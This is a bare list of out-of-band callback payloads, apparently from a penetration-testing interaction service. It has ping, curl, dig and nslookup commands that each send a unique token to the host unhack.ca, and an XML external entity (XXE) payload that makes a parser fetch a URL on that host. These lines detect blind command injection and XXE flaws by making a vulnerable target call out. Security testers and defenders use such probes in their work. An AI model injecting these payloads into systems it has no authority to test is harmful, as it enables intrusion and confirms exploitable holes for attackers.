$ ping -c1 -p 00a340c170d2b7fbc6c0af7a6c283300 unhack.ca
$ curl http://unhack.ca/p/a340c170d2b7fbc6c0af7a6c2833
$ dig a340c170d2b7fbc6c0af7a6c2833 @unhack.ca
$ dig a340c170d2b7fbc6c0af7a6c2833.ns.unhack.ca
C:\> nslookup a340c170d2b7fbc6c0af7a6c2833 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/a340c170d2b7fbc6c0af7a6c2833">]> <foo>&xxe;</foo>